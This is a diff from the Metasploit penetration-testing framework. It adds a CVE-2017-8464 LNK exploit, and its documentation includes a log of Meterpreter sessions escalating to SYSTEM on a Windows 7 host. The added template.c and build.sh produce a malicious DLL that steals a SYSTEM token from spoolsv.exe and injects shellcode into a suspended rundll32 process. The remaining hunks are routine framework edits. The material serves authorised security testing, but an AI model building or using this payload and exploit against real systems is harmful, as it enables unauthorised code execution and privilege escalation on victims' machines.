[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
|
||||||
|
[*] Waiting 15s before file cleanup...
|
||||||
|
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
|
||||||
|
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
|
||||||
|
> sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Type Information Connection
|
||||||
|
-- ---- ----------- ----------
|
||||||
|
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
|
||||||
|
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
|
||||||
|
|
||||||
|
> getuid
|
||||||
|
Server username: WIN7X64-SP0\msfuser
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
> getsystem
|
||||||
|
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||||
|
> getuid
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
> exit -y
|
||||||
|
```
|
||||||
|
|
||||||
|
## Compiling instructions
|
||||||
|
`cd ./external/source/exploits/cve-2017-8464`
|
||||||
|
`./build.sh`
|
||||||
|
|
||||||
|
(Requires `mingw-w64` package)
|
|
@ -4,7 +4,7 @@
|
||||||
via its SMTP server validation. The module sends a malicious response along in the
|
via its SMTP server validation. The module sends a malicious response along in the
|
||||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||||
|
|
||||||
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||||
|
|
||||||
## Verification Steps
|
## Verification Steps
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,17 @@
|
||||||
|
#!/bin/sh
|
||||||
|
rm -f *.o *.dll
|
||||||
|
|
||||||
|
CCx86="i686-w64-mingw32"
|
||||||
|
CCx64="x86_64-w64-mingw32"
|
||||||
|
|
||||||
|
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||||
|
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||||
|
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
|
||||||
|
rm -f temp.dll *.o
|
||||||
|
chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
|
||||||
|
|
||||||
|
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||||
|
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||||
|
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
|
||||||
|
rm -f temp.dll *.o
|
||||||
|
chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
|
|
@ -0,0 +1,241 @@
|
||||||
|
#include <windows.h>
|
||||||
|
#include <sddl.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
|
||||||
|
#include "template.h"
|
||||||
|
|
||||||
|
void ExecutePayload(HANDLE hDll);
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
|
||||||
|
switch (dwReason) {
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
ExecutePayload(hDll);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
|
||||||
|
int result;
|
||||||
|
|
||||||
|
if (strlen(szStr) < strlen(szSuffix)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (bCaseSensitive) {
|
||||||
|
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
|
||||||
|
}
|
||||||
|
return result == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
|
||||||
|
HANDLE hToken;
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
TOKEN_USER *tuUser = NULL;
|
||||||
|
SIZE_T szSid = 0;
|
||||||
|
|
||||||
|
*pSid = NULL;
|
||||||
|
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
|
||||||
|
tuUser = (TOKEN_USER *)malloc(dwLength);
|
||||||
|
if (!tuUser) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
|
||||||
|
free(tuUser);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
szSid = GetLengthSid(tuUser->User.Sid);
|
||||||
|
*pSid = LocalAlloc(LPTR, szSid);
|
||||||
|
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
|
||||||
|
LocalFree(*pSid);
|
||||||
|
*pSid = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(tuUser);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return *pSid != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
|
||||||
|
PSID pTestSid = NULL;
|
||||||
|
PSID pTargetSid = NULL;
|
||||||
|
|
||||||
|
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!GetProcessSid(hProc, &pTestSid)) {
|
||||||
|
LocalFree(pTargetSid);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
*pbResult = EqualSid(pTestSid, pTargetSid);
|
||||||
|
LocalFree(pTargetSid);
|
||||||
|
LocalFree(pTestSid);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD FindProcessId(LPCTSTR szProcessName) {
|
||||||
|
HANDLE hProcessSnap;
|
||||||
|
PROCESSENTRY32 pe32;
|
||||||
|
DWORD result = 0;
|
||||||
|
|
||||||
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
if (!Process32First(hProcessSnap, &pe32)) {
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
if (!strcmp(szProcessName, pe32.szExeFile)) {
|
||||||
|
result = pe32.th32ProcessID;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32Next(hProcessSnap, &pe32));
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE GetPayloadToken(void) {
|
||||||
|
HANDLE hTokenHandle = NULL;
|
||||||
|
HANDLE hProcessHandle = NULL;
|
||||||
|
BOOL bIsSystem = FALSE;
|
||||||
|
DWORD dwPid = 0;
|
||||||
|
CHAR Path[MAX_PATH + 1];
|
||||||
|
|
||||||
|
ZeroMemory(Path, sizeof(Path));
|
||||||
|
GetModuleFileNameA(NULL, Path, MAX_PATH);
|
||||||
|
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* loaded into the context of SearchProtocolHost.exe */
|
||||||
|
|
||||||
|
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* and running as NT_AUTHORITY SYSTEM */
|
||||||
|
|
||||||
|
dwPid = FindProcessId("spoolsv.exe");
|
||||||
|
if (!dwPid) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
||||||
|
if (!hProcessHandle) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bIsSystem = FALSE;
|
||||||
|
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
|
||||||
|
|
||||||
|
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
|
||||||
|
CloseHandle(hProcessHandle);
|
||||||
|
return hTokenHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
|
||||||
|
/* wait for the process to exit or 10 seconds before cleaning up */
|
||||||
|
WaitForSingleObject(pExploitData->hProcess, 10000);
|
||||||
|
CloseHandle(pExploitData->hProcess);
|
||||||
|
CloseHandle(pExploitData->hMutex);
|
||||||
|
|
||||||
|
/* this does not return */
|
||||||
|
FreeLibraryAndExitThread(pExploitData->hModule, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ExecutePayload(HANDLE hDll) {
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
STARTUPINFO si;
|
||||||
|
CONTEXT ctx;
|
||||||
|
LPVOID ep;
|
||||||
|
SECURITY_ATTRIBUTES MutexAttributes;
|
||||||
|
SIZE_T dwBytesWritten = 0;
|
||||||
|
PEXPLOIT_DATA pExploitData = NULL;
|
||||||
|
HANDLE hToken;
|
||||||
|
|
||||||
|
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
|
||||||
|
if (!pExploitData) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keep a reference to the module for synchronization purposes */
|
||||||
|
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
|
||||||
|
|
||||||
|
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
|
||||||
|
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||||
|
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||||
|
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
|
||||||
|
if (!pExploitData->hMutex) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||||
|
CloseHandle(pExploitData->hMutex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetLastError() == ERROR_ACCESS_DENIED) {
|
||||||
|
CloseHandle(pExploitData->hMutex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
hToken = GetPayloadToken();
|
||||||
|
|
||||||
|
ZeroMemory(&si, sizeof(si));
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
|
||||||
|
/* start up the payload in a new process */
|
||||||
|
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||||
|
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
|
||||||
|
GetThreadContext(pi.hThread, &ctx);
|
||||||
|
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
|
||||||
|
if (dwBytesWritten == SCSIZE) {
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
ctx.Rip = (DWORD64)ep;
|
||||||
|
#else
|
||||||
|
ctx.Eip = (DWORD)ep;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
SetThreadContext(pi.hThread, &ctx);
|
||||||
|
ResumeThread(pi.hThread);
|
||||||
|
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
pExploitData->hProcess = pi.hProcess;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hToken) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
|
||||||
|
}
|
|
@ -0,0 +1,11 @@
|
||||||
|
#define SCSIZE 2048
|
||||||
|
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
HANDLE hModule;
|
||||||
|
HANDLE hMutex;
|
||||||
|
HANDLE hProcess;
|
||||||
|
} EXPLOIT_DATA, *PEXPLOIT_DATA;
|
||||||
|
|
||||||
|
#define SIDSTR_SYSTEM _T("s-1-5-18")
|
||||||
|
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)
|
|
@ -634,8 +634,8 @@ module Metasploit
|
||||||
if idx > 0
|
if idx > 0
|
||||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||||
else
|
else
|
||||||
raise RunTimeError, "Unable to parse encryption req. "\
|
framework_module.print_error("Unable to parse encryption req " \
|
||||||
"from server during prelogin"
|
"during pre-login, this may not be a MSSQL server")
|
||||||
encryption_mode = ENCRYPT_NOT_SUP
|
encryption_mode = ENCRYPT_NOT_SUP
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -682,8 +682,9 @@ module Metasploit
|
||||||
if idx > 0
|
if idx > 0
|
||||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||||
else
|
else
|
||||||
raise RuntimeError, "Unable to parse encryption "\
|
framework_module.print_error("Unable to parse encryption req " \
|
||||||
"req during pre-login"
|
"during pre-login, this may not be a MSSQL server")
|
||||||
|
encryption_mode = ENCRYPT_NOT_SUP
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
encryption_mode
|
encryption_mode
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
VERSION = "4.16.13"
|
VERSION = "4.16.23"
|
||||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
HASH = get_hash
|
HASH = get_hash
|
||||||
|
|
|
@ -634,7 +634,6 @@ class ReadableText
|
||||||
sess_via = session.via_exploit.to_s
|
sess_via = session.via_exploit.to_s
|
||||||
sess_type = session.type.to_s
|
sess_type = session.type.to_s
|
||||||
sess_uuid = session.payload_uuid.to_s
|
sess_uuid = session.payload_uuid.to_s
|
||||||
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
|
||||||
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
|
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
|
||||||
sess_enc = false
|
sess_enc = false
|
||||||
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
|
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
|
||||||
|
@ -652,10 +651,10 @@ class ReadableText
|
||||||
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
||||||
end
|
end
|
||||||
|
|
||||||
if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
|
if session.payload_uuid.registered
|
||||||
sess_registration = "Yes"
|
sess_registration = "Yes"
|
||||||
if uuid_info['name']
|
if session.payload_uuid.name
|
||||||
sess_registration << " - Name=\"#{uuid_info['name']}\""
|
sess_registration << " - Name=\"#{session.payload_uuid.name}\""
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -147,9 +147,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||||
session.core.set_session_guid(guid)
|
session.core.set_session_guid(guid)
|
||||||
session.session_guid = guid
|
session.session_guid = guid
|
||||||
# TODO: New statgeless session, do some account in the DB so we can track it later.
|
# TODO: New stageless session, do some account in the DB so we can track it later.
|
||||||
else
|
else
|
||||||
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
|
# TODO: This session was either staged or previously known, and so we should do some accounting here!
|
||||||
end
|
end
|
||||||
|
|
||||||
unless datastore['AutoLoadStdapi'] == false
|
unless datastore['AutoLoadStdapi'] == false
|
||||||
|
|
|
@ -0,0 +1,29 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class creates a platform-specific meterpreter session type
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Meterpreter_ppce500v2_Linux < Msf::Sessions::Meterpreter
|
||||||
|
def supports_ssl?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def supports_zlib?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def initialize(rstream, opts={})
|
||||||
|
super
|
||||||
|
self.base_platform = 'linux'
|
||||||
|
self.base_arch = ARCH_PPCE500V2
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -27,6 +27,10 @@ module Msf
|
||||||
generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
|
generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def generate_uri_option(opts, opt)
|
||||||
|
opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''
|
||||||
|
end
|
||||||
|
|
||||||
def generate_http_uri(opts)
|
def generate_http_uri(opts)
|
||||||
if Rex::Socket.is_ipv6?(opts[:lhost])
|
if Rex::Socket.is_ipv6?(opts[:lhost])
|
||||||
target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
|
target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
|
||||||
|
@ -38,7 +42,15 @@ module Msf
|
||||||
target_uri << opts[:lport].to_s
|
target_uri << opts[:lport].to_s
|
||||||
target_uri << luri
|
target_uri << luri
|
||||||
target_uri << generate_uri(opts)
|
target_uri << generate_uri(opts)
|
||||||
target_uri
|
target_uri << '|'
|
||||||
|
target_uri << generate_uri_option(opts, :ua)
|
||||||
|
target_uri << generate_uri_option(opts, :host)
|
||||||
|
target_uri << generate_uri_option(opts, :referer)
|
||||||
|
if opts[:cookie]
|
||||||
|
opts[:header] = "Cookie: #{opts[:cookie]}"
|
||||||
|
target_uri << generate_uri_option(opts, :header)
|
||||||
|
end
|
||||||
|
target_uri.strip
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_tcp_uri(opts)
|
def generate_tcp_uri(opts)
|
||||||
|
@ -57,14 +69,11 @@ module Msf
|
||||||
|
|
||||||
case opts[:scheme]
|
case opts[:scheme]
|
||||||
when 'http'
|
when 'http'
|
||||||
transport = transport_config_reverse_http(opts)
|
opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))
|
||||||
opts[:uri] = generate_http_uri(transport)
|
|
||||||
when 'https'
|
when 'https'
|
||||||
transport = transport_config_reverse_https(opts)
|
opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))
|
||||||
opts[:uri] = generate_http_uri(transport)
|
|
||||||
when 'tcp'
|
when 'tcp'
|
||||||
transport = transport_config_reverse_tcp(opts)
|
opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))
|
||||||
opts[:uri] = generate_tcp_uri(transport)
|
|
||||||
else
|
else
|
||||||
raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
|
raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
|
||||||
end
|
end
|
||||||
|
@ -74,7 +83,7 @@ module Msf
|
||||||
unless opts[:stageless] == true
|
unless opts[:stageless] == true
|
||||||
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||||
end
|
end
|
||||||
opts[:session_guid] = Base64.encode64(guid)
|
opts[:session_guid] = Base64.encode64(guid).strip
|
||||||
|
|
||||||
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
|
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,7 +27,7 @@ module Scriptable
|
||||||
|
|
||||||
# Scan all of the path combinations
|
# Scan all of the path combinations
|
||||||
check_paths.each { |path|
|
check_paths.each { |path|
|
||||||
if ::File.exist?(path)
|
if ::File.file?(path)
|
||||||
full_path = path
|
full_path = path
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
@ -150,7 +150,7 @@ module Scriptable
|
||||||
# session
|
# session
|
||||||
local_exploit_opts = local_exploit_opts.merge(opts)
|
local_exploit_opts = local_exploit_opts.merge(opts)
|
||||||
|
|
||||||
new_session = mod.exploit_simple(
|
mod.exploit_simple(
|
||||||
'Payload' => local_exploit_opts.delete('payload'),
|
'Payload' => local_exploit_opts.delete('payload'),
|
||||||
'Target' => local_exploit_opts.delete('target'),
|
'Target' => local_exploit_opts.delete('target'),
|
||||||
'LocalInput' => self.user_input,
|
'LocalInput' => self.user_input,
|
||||||
|
|
|
@ -10,8 +10,7 @@
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
# Sanity check this version of ruby
|
# Include backported features for older versions of Ruby
|
||||||
require 'msf/sanity'
|
|
||||||
require 'backports'
|
require 'backports'
|
||||||
|
|
||||||
# The framework-core depends on Rex
|
# The framework-core depends on Rex
|
||||||
|
|
|
@ -17,6 +17,7 @@ class Msf::Author
|
||||||
KNOWN = {
|
KNOWN = {
|
||||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||||
'anonymous' => 'Unknown',
|
'anonymous' => 'Unknown',
|
||||||
|
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||||
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
||||||
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
|
||||||
|
@ -39,7 +40,6 @@ class Msf::Author
|
||||||
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
|
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
|
||||||
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
|
||||||
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
|
||||||
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
|
||||||
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
|
||||||
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
|
||||||
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
|
||||||
|
|
|
@ -43,7 +43,7 @@ def rport
|
||||||
end
|
end
|
||||||
|
|
||||||
def set_nmap_cmd
|
def set_nmap_cmd
|
||||||
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
|
self.nmap_bin || (raise "Cannot locate nmap binary")
|
||||||
nmap_set_log
|
nmap_set_log
|
||||||
nmap_add_ports
|
nmap_add_ports
|
||||||
nmap_cmd = [self.nmap_bin]
|
nmap_cmd = [self.nmap_bin]
|
||||||
|
@ -54,7 +54,7 @@ def set_nmap_cmd
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_nmap_ver
|
def get_nmap_ver
|
||||||
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
|
self.nmap_bin || (raise "Cannot locate nmap binary")
|
||||||
res = ""
|
res = ""
|
||||||
nmap_cmd = [self.nmap_bin]
|
nmap_cmd = [self.nmap_bin]
|
||||||
nmap_cmd << "--version"
|
nmap_cmd << "--version"
|
||||||
|
@ -84,7 +84,7 @@ def nmap_version_at_least?(test_ver=nil)
|
||||||
end
|
end
|
||||||
|
|
||||||
def nmap_build_args
|
def nmap_build_args
|
||||||
raise RuntimeError, "nmap_build_args() not defined by #{self.refname}"
|
raise "nmap_build_args() not defined by #{self.refname}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def nmap_run
|
def nmap_run
|
||||||
|
@ -159,13 +159,13 @@ end
|
||||||
# A helper to add in rport or rports as a -p argument
|
# A helper to add in rport or rports as a -p argument
|
||||||
def nmap_add_ports
|
def nmap_add_ports
|
||||||
if not nmap_validate_rports
|
if not nmap_validate_rports
|
||||||
raise RuntimeError, "Cannot continue without a valid port list."
|
raise "Cannot continue without a valid port list."
|
||||||
end
|
end
|
||||||
port_arg = "-p \"#{datastore['RPORT'] || rports}\""
|
port_arg = "-p \"#{datastore['RPORT'] || rports}\""
|
||||||
if nmap_validate_arg(port_arg)
|
if nmap_validate_arg(port_arg)
|
||||||
self.nmap_args << port_arg
|
self.nmap_args << port_arg
|
||||||
else
|
else
|
||||||
raise RunTimeError, "Argument is invalid"
|
raise "Argument is invalid"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -237,7 +237,7 @@ end
|
||||||
# module to ferret out whatever's interesting in this host
|
# module to ferret out whatever's interesting in this host
|
||||||
# object.
|
# object.
|
||||||
def nmap_hosts(&block)
|
def nmap_hosts(&block)
|
||||||
@nmap_bin || (raise RuntimeError, "Cannot locate the nmap binary.")
|
@nmap_bin || (raise "Cannot locate the nmap binary.")
|
||||||
fh = self.nmap_log[0]
|
fh = self.nmap_log[0]
|
||||||
nmap_data = fh.read(fh.stat.size)
|
nmap_data = fh.read(fh.stat.size)
|
||||||
# fh.unlink
|
# fh.unlink
|
||||||
|
|
|
@ -44,7 +44,7 @@ module Msf::DBManager::Report
|
||||||
|
|
||||||
unless artifact.valid?
|
unless artifact.valid?
|
||||||
errors = artifact.errors.full_messages.join('; ')
|
errors = artifact.errors.full_messages.join('; ')
|
||||||
raise RuntimeError "Artifact to be imported is not valid: #{errors}"
|
raise "Artifact to be imported is not valid: #{errors}"
|
||||||
end
|
end
|
||||||
artifact.save
|
artifact.save
|
||||||
end
|
end
|
||||||
|
@ -66,7 +66,7 @@ module Msf::DBManager::Report
|
||||||
|
|
||||||
unless report.valid?
|
unless report.valid?
|
||||||
errors = report.errors.full_messages.join('; ')
|
errors = report.errors.full_messages.join('; ')
|
||||||
raise RuntimeError "Report to be imported is not valid: #{errors}"
|
raise "Report to be imported is not valid: #{errors}"
|
||||||
end
|
end
|
||||||
report.state = :complete # Presume complete since it was exported
|
report.state = :complete # Presume complete since it was exported
|
||||||
report.save
|
report.save
|
||||||
|
|
|
@ -137,6 +137,8 @@ module Exploit::CmdStager
|
||||||
raise ArgumentError, 'The command stager could not be generated'
|
raise ArgumentError, 'The command stager could not be generated'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
vprint_status("Generated command stager: #{cmd_list.join}")
|
||||||
|
|
||||||
cmd_list
|
cmd_list
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
|
||||||
|
|
||||||
uri = normalize_uri(custom_uri || target_uri.to_s)
|
uri = normalize_uri(custom_uri || target_uri.to_s)
|
||||||
|
|
||||||
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
|
